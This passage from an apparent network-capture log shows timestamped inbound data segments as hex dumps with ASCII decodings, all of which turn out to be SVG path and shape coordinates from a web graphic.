39 31 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 Data Ascii: ><path class="cls-9" d="M428,375.63a2,2,0,0,1-.91,2.61,2.94,2.94,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.45,2.45,0,0,1,.19,3.32"/><path class="cls-9" d="M427.69,367.56a2,2,0,0,1-.91,2.6,2.93,2.93,0,0,1-3.89-1.1,2.79,2.79,0,0,1,.6-3.3
2023-07-27 19:54:08 UTC	3813	IN	Data Raw: 33 2e 38 39 2d 31 2e 31 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 34 36 2e 32 39 2c 31 38 39 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d Data Ascii: 3.89-1.1,2.79,2.79,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d="M446.29,189a2,2,0,0,1-.9,2.6,2.93,2.93,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.59-3.36,2.63,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d=
2023-07-27 19:54:08 UTC	3829	IN	Data Raw: 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 37 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 2e 31 39 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 38 30 2e 34 39 2c 32 32 38 2e 32 39 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 31 2c 32 2e 39 34 2c 32 2e 39 34 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 36 2c 32 2e 34 36 2c 30 2c 30 2c 31 Data Ascii: ,1-.91,2.6,2.92,2.92,0,0,1-3.89-1.09,2.81,2.81,0,0,1,.6-3.37,2.63,2.63,0,0,1,3.37,0,2.47,2.47,0,0,1,.19,3.33"/><path class="cls-9" d="M480.49,228.29a2,2,0,0,1-.91,2.61,2.94,2.94,0,0,1-3.89-1.1,2.79,2.79,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.46,2.46,0,0,1
2023-07-27 19:54:08 UTC	3845	IN	Data Raw: 2d 39 22 20 64 3d 22 4d 35 31 35 2c 32 37 35 2e 36 35 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 33 2c 32 2e 39 33 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 31 34 2e 36 38 2c 32 36 37 2e 35 37 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 37 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c Data Ascii: -9" d="M515,275.65a2,2,0,0,1-.91,2.6,2.93,2.93,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.59-3.36,2.63,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d="M514.68,267.57a2,2,0,0,1-.91,2.6,2.92,2.92,0,0,1-3.89-1.09,2.81,2.81,0,0,1,.6-3.37,2.63,2.63,0,0,
2023-07-27 19:54:08 UTC	3861	IN	Data Raw: 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 37 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2e 30 35 2c 32 2e 34 36 2c 32 2e 34 36 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 34 39 2e 31 35 2c 33 31 34 2e 39 32 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 31 2c 32 2e 39 34 2c 32 2e 39 34 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 36 2d 33 2e 33 36 2c 32 2e 36 32 2c 32 2e 36 32 2c 30 2c 30 2c 31 2c 33 2e 33 37 2c 30 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 34 38 2e 38 38 2c 33 30 36 2e Data Ascii: 0,0,1,.59-3.37,2.63,2.63,0,0,1,3.38.05,2.46,2.46,0,0,1,.18,3.32"/><path class="cls-9" d="M549.15,314.92a2,2,0,0,1-.91,2.61,2.94,2.94,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.6-3.36,2.62,2.62,0,0,1,3.37,0,2.47,2.47,0,0,1,.18,3.33"/><path class="cls-9" d="M548.88,306.
2023-07-27 19:54:09 UTC	4021	IN	Data Raw: 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 38 33 2e 36 32 2c 33 36 32 2e 32 38 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 32 2c 32 2e 39 32 2c 30 2c 30 2c 31 2d 33 2e 38 39 2d 31 2e 31 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 36 2c 32 2e 36 33 2c 32 2e 36 33 2c 30 2c 30 2c 31 2c 33 2e 33 38 2c 30 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 33 33 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 38 33 2e 33 34 2c 33 35 34 2e 32 61 32 2c 32 2c 30 2c 30 2c 31 2d 2e 39 31 2c 32 2e 36 2c 32 2e 39 31 2c 32 2e 39 31 2c 30 2c 30 2c 31 2d 33 2e 38 38 2d 31 2e 30 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 2e 35 39 2d 33 2e 33 37 2c 32 2e 36 34 Data Ascii: ss="cls-9" d="M583.62,362.28a2,2,0,0,1-.91,2.6,2.92,2.92,0,0,1-3.89-1.1,2.8,2.8,0,0,1,.59-3.36,2.63,2.63,0,0,1,3.38,0,2.48,2.48,0,0,1,.18,3.33"/><path class="cls-9" d="M583.34,354.2a2,2,0,0,1-.91,2.6,2.91,2.91,0,0,1-3.88-1.09,2.81,2.81,0,0,1,.59-3.37,2.64
2023-07-27 19:54:09 UTC	4037	IN	Data Raw: 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 33 33 2c 32 34 2e 37 38 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 41 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2c 33 32 39 2e 31 2c 32 36 61 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 33 32 2e 37 33 2c 31 38 2e 33 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 Data Ascii: ,0,1,2.71,0,2,2,0,0,1,.15,2.67"/><path class="cls-9" d="M333,24.78a1.61,1.61,0,0,1-.73,2.09A2.34,2.34,0,0,1,329.1,26a2.25,2.25,0,0,1,.47-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.15,2.67"/><path class="cls-9" d="M332.73,18.3a1.61,1.61,0,0,1-.73,2.09,2.35,2.35,0
2023-07-27 19:54:09 UTC	4053	IN	Data Raw: 2e 32 34 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 36 39 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 36 30 2e 33 39 2c 35 36 2e 33 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 36 30 2e 31 37 2c 34 39 2e 38 32 61 31 2e 36 31 2c Data Ascii: .24,0,0,1,.47-2.69,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.15,2.67"/><path class="cls-9" d="M360.39,56.3a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.47-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.15,2.67"/><path class="cls-9" d="M360.17,49.82a1.61,
2023-07-27 19:54:09 UTC	4069	IN	Data Raw: 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 38 37 2e 38 33 2c 38 37 2e 38 32 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 41 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2c 33 38 34 2c 38 39 61 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 38 22 2f 3e 3c 70 61 74 Data Ascii: 3,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.47-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.15,2.67"/><path class="cls-9" d="M387.83,87.82a1.61,1.61,0,0,1-.73,2.09A2.34,2.34,0,0,1,384,89a2.25,2.25,0,0,1,.47-2.7,2.11,2.11,0,0,1,2.71,0,2,2,0,0,1,.15,2.68"/><pat
2023-07-27 19:54:09 UTC	4085	IN	Data Raw: 35 2e 38 32 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 41 32 2c 32 2c 30 2c 30 2c 31 2c 34 31 35 2c 31 32 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 31 35 2e 32 37 2c 31 31 39 2e 33 34 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 2c 30 2c 32 2c 32 Data Ascii: 5.82a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.47-2.7,2.1,2.1,0,0,1,2.71,0A2,2,0,0,1,415,127"/><path class="cls-9" d="M415.27,119.34a1.61,1.61,0,0,1-.73,2.09,2.35,2.35,0,0,1-3.12-.88,2.24,2.24,0,0,1,.48-2.7,2.1,2.1,0,0,1,2.7,0,2,2
2023-07-27 19:54:09 UTC	4101	IN	Data Raw: 34 34 32 2e 39 33 2c 31 35 37 2e 33 34 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 34 32 2e 37 31 2c 31 35 30 2e 38 36 41 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2c 34 34 32 2c 31 35 33 61 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c Data Ascii: 442.93,157.34a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.47-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.15,2.67"/><path class="cls-9" d="M442.71,150.86A1.61,1.61,0,0,1,442,153a2.35,2.35,0,0,1-3.12-.88,2.24,2.24,0,0,1,.48-2.7,2.1,2.1,0,0,1,
2023-07-27 19:54:09 UTC	4117	IN	Data Raw: 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 37 30 2e 33 37 2c 31 38 38 2e 38 36 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2c 32 2e 37 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 37 30 2e 31 35 2c 31 38 32 2e 33 38 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e Data Ascii: class="cls-9" d="M470.37,188.86a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.24,2.24,0,0,1,.48-2.7,2.09,2.09,0,0,1,2.7,0,2,2,0,0,1,.15,2.67"/><path class="cls-9" d="M470.15,182.38a1.61,1.61,0,0,1-.73,2.09,2.35,2.35,0,0,1-3.12-.88,2.25,2.25,0,0,1,.
2023-07-27 19:54:09 UTC	4133	IN	Data Raw: 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 38 35 2e 30 38 2c 33 39 2e 31 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 38 34 2e 38 36 2c 33 32 2e 36 32 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 Data Ascii: 1,2.71,0,2,2,0,0,1,.14,2.67"/><path class="cls-9" d="M485.08,39.1a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"/><path class="cls-9" d="M484.86,32.62a1.61,1.61,0,0,1-.73,2.09,2.35,2.35,0
2023-07-27 19:54:09 UTC	4149	IN	Data Raw: 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 31 32 2e 35 32 2c 37 30 2e 36 32 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 31 32 2e 33 2c 36 34 2e 31 34 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e Data Ascii: ,2.1,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"/><path class="cls-9" d="M512.52,70.62a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"/><path class="cls-9" d="M512.3,64.14a1.61,1.61,0,0,1-.73,2.09,2.
2023-07-27 19:54:09 UTC	4165	IN	Data Raw: 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 34 30 2c 31 30 32 2e 31 34 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 33 39 2e 37 34 2c 39 35 2e 36 36 61 31 2e 36 31 2c 31 2e 36 Data Ascii: ,0,0,1,.48-2.7,2.11,2.11,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"/><path class="cls-9" d="M540,102.14a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"/><path class="cls-9" d="M539.74,95.66a1.61,1.6
2023-07-27 19:54:09 UTC	4181	IN	Data Raw: 39 2e 30 36 2d 34 2e 38 33 2c 32 2e 38 34 2d 31 33 36 2e 33 2d 32 2e 35 31 2d 31 34 31 2e 38 37 2d 32 2e 31 37 6c 2d 38 33 2e 37 31 2c 35 63 2d 31 2e 38 37 2e 31 32 2d 33 32 2c 31 2e 31 36 2d 33 32 2e 31 33 2c 31 2e 39 34 5a 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 31 36 22 20 64 3d 22 4d 39 30 30 2e 31 36 2c 31 37 34 6c 34 2e 33 34 2d 35 2e 36 33 2c 32 2e 34 31 2d 33 30 2e 32 36 2d 32 33 2e 36 39 2c 31 34 2e 34 35 63 2d 34 2e 39 34 2c 33 2d 39 2e 38 35 2c 36 2e 31 32 2d 31 34 2e 38 34 2c 39 2e 30 36 2d 34 2e 38 33 2c 32 2e 38 34 2d 31 33 36 2e 33 2d 32 2e 35 31 2d 31 34 31 2e 38 37 2d 32 2e 31 37 6c 2d 38 33 2e 37 31 2c 35 63 2d 31 2e 38 37 2e 31 32 2d 33 32 2c 31 2e 31 36 2d 33 32 2e 31 33 2c 31 2e 39 34 6c 2d 2e 33 39 2c 34 4c 36 31 Data Ascii: 9.06-4.83,2.84-136.3-2.51-141.87-2.17l-83.71,5c-1.87.12-32,1.16-32.13,1.94Z"/><path class="cls-16" d="M900.16,174l4.34-5.63,2.41-30.26-23.69,14.45c-4.94,3-9.85,6.12-14.84,9.06-4.83,2.84-136.3-2.51-141.87-2.17l-83.71,5c-1.87.12-32,1.16-32.13,1.94l-.39,4L61
2023-07-27 19:54:09 UTC	4197	IN	Data Raw: 2e 34 35 2c 31 2e 39 34 2c 31 2e 39 34 2c 30 2c 30 2c 30 2c 2e 33 37 2d 2e 36 36 41 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 30 2c 35 32 30 2e 33 34 2c 32 32 39 2e 30 35 5a 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 32 22 20 64 3d 22 4d 35 32 34 2c 32 32 36 2e 32 32 71 30 2c 2e 32 31 2c 30 2c 2e 34 38 63 30 2c 2e 31 38 2c 30 2c 2e 33 33 2c 30 2c 2e 34 35 68 30 61 31 2e 36 36 2c 31 2e 36 36 2c 30 2c 30 2c 31 2c 2e 32 39 2d 2e 34 32 2c 32 2e 30 36 2c 32 2e 30 36 2c 30 2c 30 2c 31 2c 2e 34 33 2d 2e 33 35 2c 32 2e 33 32 2c 32 2e 33 32 2c 30 2c 30 2c 31 2c 2e 35 33 2d 2e 32 34 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2c 2e 36 2d 2e 30 38 2c 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2c 31 2c 2e 31 39 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 36 Data Ascii: .45,1.94,1.94,0,0,0,.37-.66A2.5,2.5,0,0,0,520.34,229.05Z"/><path class="cls-2" d="M524,226.22q0,.21,0,.48c0,.18,0,.33,0,.45h0a1.66,1.66,0,0,1,.29-.42,2.06,2.06,0,0,1,.43-.35,2.32,2.32,0,0,1,.53-.24,2.35,2.35,0,0,1,.6-.08,2.15,2.15,0,0,1,1,.19,2,2,0,0,1,.6
2023-07-27 19:54:09 UTC	4213	IN	Data Raw: 79 32 3d 22 33 32 34 2e 32 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 36 22 20 64 3d 22 4d 36 36 39 2e 31 39 2c 33 31 33 2e 33 34 76 32 63 30 2c 31 2e 33 36 2c 33 2e 32 33 2c 32 2e 34 36 2c 37 2e 32 31 2c 32 2e 34 36 73 37 2e 32 31 2d 31 2e 31 2c 37 2e 32 31 2d 32 2e 34 36 76 2d 32 22 2f 3e 3c 65 6c 6c 69 70 73 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 33 38 22 20 63 78 3d 22 36 37 36 2e 34 22 20 63 79 3d 22 33 31 33 2e 33 34 22 20 72 78 3d 22 37 2e 32 31 22 20 72 79 3d 22 32 2e 34 35 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 63 6c 61 73 73 3d 22 63 6c 73 2d 33 38 22 20 70 6f 69 6e 74 73 3d 22 36 36 38 2e 31 35 20 33 33 31 2e 34 38 20 36 36 34 2e 37 33 20 33 32 39 2e 31 35 20 36 36 34 2e 39 33 20 33 31 37 2e 37 34 20 36 36 38 2e 34 20 33 31 Data Ascii: y2="324.26"/><path class="cls-76" d="M669.19,313.34v2c0,1.36,3.23,2.46,7.21,2.46s7.21-1.1,7.21-2.46v-2"/><ellipse class="cls-38" cx="676.4" cy="313.34" rx="7.21" ry="2.45"/><polygon class="cls-38" points="668.15 331.48 664.73 329.15 664.93 317.74 668.4 31
